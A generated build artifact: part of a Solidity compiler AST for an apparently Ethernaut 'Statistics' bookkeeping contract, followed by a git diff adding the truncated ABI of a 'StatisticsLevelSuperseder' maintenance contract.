uint256)"}},"id":56287,"indexExpression":{"id":56286,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56245,"src":"9670:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"9637:40:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":56288,"name":"timeTakenForThisSuccessfulSubmission","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56264,"src":"9680:36:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9637:79:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":56290,"nodeType":"ExpressionStatement","src":"9637:79:116"}]}},{"expression":{"id":56315,"name":"newAverageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56261,"src":"10068:35:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56253,"id":56316,"nodeType":"Return","src":"10061:42:116"}]},"implemented":true,"kind":"function","modifiers":[],"name":"updateAverageTimeTakenToCompleteLevelsByPlayer","nameLocation":"8964:46:116","parameters":{"id":56250,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56245,"mutability":"mutable","name":"player","nameLocation":"9028:6:116","nodeType":"VariableDeclaration","scope":56318,"src":"9020:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56244,"name":"address","nodeType":"ElementaryTypeName","src":"9020:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56247,"mutability":"mutable","name":"level","nameLocation":"9052:5:116","nodeType":"VariableDeclaration","scope":56318,"src":"9044:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56246,"name":"address","nodeType":"ElementaryTypeName","src":"9044:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56249,"mutability":"mutable","name":"totalNoOfLevelsCompletedByPlayer","nameLocation":"9075:32:116","nodeType":"VariableDeclaration","scope":56318,"src":"9067:40:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56248,"name":"uint256","nodeType":"ElementaryTypeName","src":"9067:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9010:103:116"},"returnParameters":{"id":56253,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56252,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56318,"src":"9131:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56251,"name":"uint256","nodeType":"ElementaryTypeName","src":"9131:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9130:9:116"},"scope":56450,"stateMutability":"nonpayable","virtual":false,"visibility":"private"},{"id":56326,"nodeType":"FunctionDefinition","src":"10145:125:116","nodes":[],"body":{"id":56325,"nodeType":"Block","src":"10220:50:116","nodes":[],"statements":[{"expression":{"id":56323,"name":"globalNoOfInstancesCreated","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55523,"src":"10237:26:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56322,"id":56324,"nodeType":"Return","src":"10230:33:116"}]},"functionSelector":"7cbe8d04","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfLevelInstancesCreated","nameLocation":"10154:33:116","parameters":{"id":56319,"nodeType":"ParameterList","parameters":[],"src":"10187:2:116"},"returnParameters":{"id":56322,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56321,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56326,"src":"10211:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56320,"name":"uint256","nodeType":"ElementaryTypeName","src":"10211:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10210:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56334,"nodeType":"FunctionDefinition","src":"10276:129:116","nodes":[],"body":{"id":56333,"nodeType":"Block","src":"10353:52:116","nodes":[],"statements":[{"expression":{"id":56331,"name":"globalNoOfInstancesCompleted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55525,"src":"10370:28:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56330,"id":56332,"nodeType":"Return","src":"10363:35:116"}]},"functionSelector":"900f09ac","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfLevelInstancesCompleted","nameLocation":"10285:35:116","parameters":{"id":56327,"nodeType":"ParameterList","parameters":[],"src":"10320:2:116"},"returnParameters":{"id":56330,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56329,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56334,"src":"10344:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56328,"name":"uint256","nodeType":"ElementaryTypeName","src":"10344:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10343:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56342,"nodeType":"FunctionDefinition","src":"10411:122:116","nodes":[],"body":{"id":56341,"nodeType":"Block","src":"10482:51:116","nodes":[],"statements":[{"expression":{"id":56339,"name":"globalNoOfFailedSubmissions","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55527,"src":"10499:27:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56338,"id":56340,"nodeType":"Return","src":"10492:34:116"}]},"functionSelector":"7ceb9533","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfFailedSubmissions","nameLocation":"10420:29:116","parameters":{"id":56335,"nodeType":"ParameterList","parameters":[],"src":"10449:2:116"},"returnParameters":{"id":56338,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56337,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56342,"src":"10473:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56336,"name":"uint256","nodeType":"ElementaryTypeName","src":"10473:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10472:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56351,"nodeType":"FunctionDefinition","src":"10539:99:116","nodes":[],"body":{"id":56350,"nodeType":"Block","src":"10600:38:116","nodes":[],"statements":[{"expression":{"expression":{"id":56347,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55518,"src":"10617:7:116","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":56348,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10625:6:116","memberName":"length","nodeType":"MemberAccess","src":"10617:14:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56346,"id":56349,"nodeType":"Return","src":"10610:21:116"}]},"functionSelector":"fb66d7ab","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfPlayers","nameLocation":"10548:19:116","parameters":{"id":56343,"nodeType":"ParameterList","parameters":[],"src":"10567:2:116"},"returnParameters":{"id":56346,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56345,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56351,"src":"10591:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56344,"name":"uint256","nodeType":"ElementaryTypeName","src":"10591:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10590:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56367,"nodeType":"FunctionDefinition","src":"10644:175:116","nodes":[],"body":{"id":56366,"nodeType":"Block","src":"10755:64:116","nodes":[],"statements":[{"expression":{"expression":{"baseExpression":{"id":56361,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55567,"src":"10772:10:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$55546_storage_$","typeString":"mapping(address => struct Statistics.Level storage ref)"}},"id":56363,"indexExpression":{"id":56362,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56353,"src":"10783:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"10772:17:116","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$55546_storage","typeString":"struct Statistics.Level storage ref"}},"id":56364,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"10790:22:116","memberName":"noOfSubmissions_Failed","nodeType":"MemberAccess","referencedDeclaration":55545,"src":"10772:40:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56360,"id":56365,"nodeType":"Return","src":"10765:47:116"}]},"functionSelector":"e041ae9b","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56356,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56353,"src":"10730:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56357,"kind":"modifierInvocation","modifierName":{"id":56355,"name":"levelExistsCheck","nameLocations":["10713:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"10713:16:116"},"nodeType":"ModifierInvocation","src":"10713:23:116"}],"name":"getNoOfFailedSubmissionsForLevel","nameLocation":"10653:32:116","parameters":{"id":56354,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56353,"mutability":"mutable","name":"level","nameLocation":"10694:5:116","nodeType":"VariableDeclaration","scope":56367,"src":"10686:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56352,"name":"address","nodeType":"ElementaryTypeName","src":"10686:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"10685:15:116"},"returnParameters":{"id":56360,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56359,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56367,"src":"10746:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56358,"name":"uint256","nodeType":"ElementaryTypeName","src":"10746:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10745:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56383,"nodeType":"FunctionDefinition","src":"10825:165:116","nodes":[],"body":{"id":56382,"nodeType":"Block","src":"10928:62:116","nodes":[],"statements":[{"expression":{"expression":{"baseExpression":{"id":56377,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55567,"src":"10945:10:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$55546_storage_$","typeString":"mapping(address => struct Statistics.Level storage ref)"}},"id":56379,"indexExpression":{"id":56378,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56369,"src":"10956:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"10945:17:116","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$55546_storage","typeString":"struct Statistics.Level storage ref"}},"id":56380,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"10963:20:116","memberName":"noOfInstancesCreated","nodeType":"MemberAccess","referencedDeclaration":55541,"src":"10945:38:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56376,"id":56381,"nodeType":"Return","src":"10938:45:116"}]},"functionSelector":"9cbf280d","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56372,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56369,"src":"10903:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56373,"kind":"modifierInvocation","modifierName":{"id":56371,"name":"levelExistsCheck","nameLocations":["10886:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"10886:16:116"},"nodeType":"ModifierInvocation","src":"10886:23:116"}],"name":"getNoOfInstancesForLevel","nameLocation":"10834:24:116","parameters":{"id":56370,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56369,"mutability":"mutable","name":"level","nameLocation":"10867:5:116","nodeType":"VariableDeclaration","scope":56383,"src":"10859:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56368,"name":"address","nodeType":"ElementaryTypeName","src":"10859:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"10858:15:116"},"returnParameters":{"id":56376,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56375,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56383,"src":"10919:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56374,"name":"uint256","nodeType":"ElementaryTypeName","src":"10919:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"10918:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56399,"nodeType":"FunctionDefinition","src":"10996:186:116","nodes":[],"body":{"id":56398,"nodeType":"Block","src":"11110:72:116","nodes":[],"statements":[{"expression":{"expression":{"baseExpression":{"id":56393,"name":"levelStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55567,"src":"11127:10:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$55546_storage_$","typeString":"mapping(address => struct Statistics.Level storage ref)"}},"id":56395,"indexExpression":{"id":56394,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56385,"src":"11138:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11127:17:116","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$55546_storage","typeString":"struct Statistics.Level storage ref"}},"id":56396,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"11145:30:116","memberName":"noOfInstancesSubmitted_Success","nodeType":"MemberAccess","referencedDeclaration":55543,"src":"11127:48:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56392,"id":56397,"nodeType":"Return","src":"11120:55:116"}]},"functionSelector":"3d9aeaef","implemented":true,"kind":"function","modifiers":[{"arguments":[{"id":56388,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56385,"src":"11085:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":56389,"kind":"modifierInvocation","modifierName":{"id":56387,"name":"levelExistsCheck","nameLocations":["11068:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"11068:16:116"},"nodeType":"ModifierInvocation","src":"11068:23:116"}],"name":"getNoOfCompletedSubmissionsForLevel","nameLocation":"11005:35:116","parameters":{"id":56386,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56385,"mutability":"mutable","name":"level","nameLocation":"11049:5:116","nodeType":"VariableDeclaration","scope":56399,"src":"11041:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56384,"name":"address","nodeType":"ElementaryTypeName","src":"11041:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11040:15:116"},"returnParameters":{"id":56392,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56391,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56399,"src":"11101:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56390,"name":"uint256","nodeType":"ElementaryTypeName","src":"11101:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"11100:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56411,"nodeType":"FunctionDefinition","src":"11214:108:116","nodes":[],"body":{"id":56410,"nodeType":"Block","src":"11280:42:116","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56406,"name":"levelExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55594,"src":"11297:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":56408,"indexExpression":{"id":56407,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56401,"src":"11309:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11297:18:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":56405,"id":56409,"nodeType":"Return","src":"11290:25:116"}]},"functionSelector":"f3a39909","implemented":true,"kind":"function","modifiers":[],"name":"doesLevelExist","nameLocation":"11223:14:116","parameters":{"id":56402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56401,"mutability":"mutable","name":"level","nameLocation":"11246:5:116","nodeType":"VariableDeclaration","scope":56411,"src":"11238:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56400,"name":"address","nodeType":"ElementaryTypeName","src":"11238:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11237:15:116"},"returnParameters":{"id":56405,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56404,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56411,"src":"11274:4:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":56403,"name":"bool","nodeType":"ElementaryTypeName","src":"11274:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"11273:6:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56423,"nodeType":"FunctionDefinition","src":"11328:112:116","nodes":[],"body":{"id":56422,"nodeType":"Block","src":"11396:44:116","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56418,"name":"playerExists","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55590,"src":"11413:12:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"}},"id":56420,"indexExpression":{"id":56419,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56413,"src":"11426:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11413:20:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":56417,"id":56421,"nodeType":"Return","src":"11406:27:116"}]},"functionSelector":"ba5d8082","implemented":true,"kind":"function","modifiers":[],"name":"doesPlayerExist","nameLocation":"11337:15:116","parameters":{"id":56414,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56413,"mutability":"mutable","name":"player","nameLocation":"11361:6:116","nodeType":"VariableDeclaration","scope":56423,"src":"11353:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56412,"name":"address","nodeType":"ElementaryTypeName","src":"11353:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11352:16:116"},"returnParameters":{"id":56417,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56416,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56423,"src":"11390:4:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":56415,"name":"bool","nodeType":"ElementaryTypeName","src":"11390:4:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"11389:6:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56432,"nodeType":"FunctionDefinition","src":"11446:106:116","nodes":[],"body":{"id":56431,"nodeType":"Block","src":"11515:37:116","nodes":[],"statements":[{"expression":{"expression":{"id":56428,"name":"levels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55521,"src":"11532:6:116","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":56429,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11539:6:116","memberName":"length","nodeType":"MemberAccess","src":"11532:13:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56427,"id":56430,"nodeType":"Return","src":"11525:20:116"}]},"functionSelector":"7e0ca04f","implemented":true,"kind":"function","modifiers":[],"name":"getTotalNoOfEthernautLevels","nameLocation":"11455:27:116","parameters":{"id":56424,"nodeType":"ParameterList","parameters":[],"src":"11482:2:116"},"returnParameters":{"id":56427,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56426,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56432,"src":"11506:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56425,"name":"uint256","nodeType":"ElementaryTypeName","src":"11506:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"11505:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56444,"nodeType":"FunctionDefinition","src":"11558:155:116","nodes":[],"body":{"id":56443,"nodeType":"Block","src":"11649:64:116","nodes":[],"statements":[{"expression":{"baseExpression":{"id":56439,"name":"averageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55598,"src":"11666:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":56441,"indexExpression":{"id":56440,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56434,"src":"11699:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11666:40:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":56438,"id":56442,"nodeType":"Return","src":"11659:47:116"}]},"functionSelector":"3aa46685","implemented":true,"kind":"function","modifiers":[],"name":"getAverageTimeTakenToCompleteLevels","nameLocation":"11567:35:116","parameters":{"id":56435,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56434,"mutability":"mutable","name":"player","nameLocation":"11611:6:116","nodeType":"VariableDeclaration","scope":56444,"src":"11603:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56433,"name":"address","nodeType":"ElementaryTypeName","src":"11603:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11602:16:116"},"returnParameters":{"id":56438,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56437,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":56444,"src":"11640:7:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56436,"name":"uint256","nodeType":"ElementaryTypeName","src":"11640:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"11639:9:116"},"scope":56450,"stateMutability":"view","virtual":false,"visibility":"public"},{"id":56449,"nodeType":"VariableDeclaration","src":"11978:25:116","nodes":[],"constant":false,"documentation":{"id":56445,"nodeType":"StructuredDocumentation","src":"11719:254:116","text":" @dev This empty reserved space is put in place to allow future versions to add new\n variables without shifting down storage in the inheritance chain.\n See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps"},"mutability":"mutable","name":"__gap","nameLocation":"11998:5:116","scope":56450,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$44_storage","typeString":"uint256[44]"},"typeName":{"baseType":{"id":56446,"name":"uint256","nodeType":"ElementaryTypeName","src":"11978:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":56448,"length":{"hexValue":"3434","id":56447,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11986:2:116","typeDescriptions":{"typeIdentifier":"t_rational_44_by_1","typeString":"int_const 44"},"value":"44"},"nodeType":"ArrayTypeName","src":"11978:11:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$44_storage_ptr","typeString":"uint256[44]"}},"visibility":"private"}],"abstract":false,"baseContracts":[{"baseName":{"id":55512,"name":"Initializable","nameLocations":["146:13:116"],"nodeType":"IdentifierPath","referencedDeclaration":48510,"src":"146:13:116"},"id":55513,"nodeType":"InheritanceSpecifier","src":"146:13:116"}],"canonicalName":"Statistics","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[56450,48510],"name":"Statistics","nameLocation":"132:10:116","scope":56451,"usedErrors":[],"usedEvents":[48356,55606]}],"license":"MIT"},"id":116} \ No newline at end of file diff --git a/contracts/out/StatisticsLevelSuperseder.sol/StatisticsLevelSuperseder.json b/contracts/out/StatisticsLevelSuperseder.sol/StatisticsLevelSuperseder.json new file mode 100644 index 000000000..c20aea708 --- /dev/null +++ b/contracts/out/StatisticsLevelSuperseder.sol/StatisticsLevelSuperseder.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"cleanStorage","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"createNewInstance","inputs":[{"name":"instance","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"},{"name":"player","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"doesLevelExist","inputs":[{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"doesPlayerExist","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"dumpLevelFirstCompletionTime","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"dumpLevelFirstInstanceCreationTime","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"dumpLevelStats","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"dumpPlayerStats","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"dumpStage","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"enum StatisticsLevelSuperseder.DumpStage"}],"stateMutability":"view"},{"type":"function","name":"ethernaut","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"fixLevelExistAndLevelsArray","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"getAverageTimeTakenToCompleteLevels","inputs":[{"name":"player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getLevelAddress","inputs":[{"name":"id","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"getLevelExists","inputs":[{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getLevelFirstCompletionTime","inputs":[{"name":"player","type":"address","internalType":"address"},{"name":"level","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"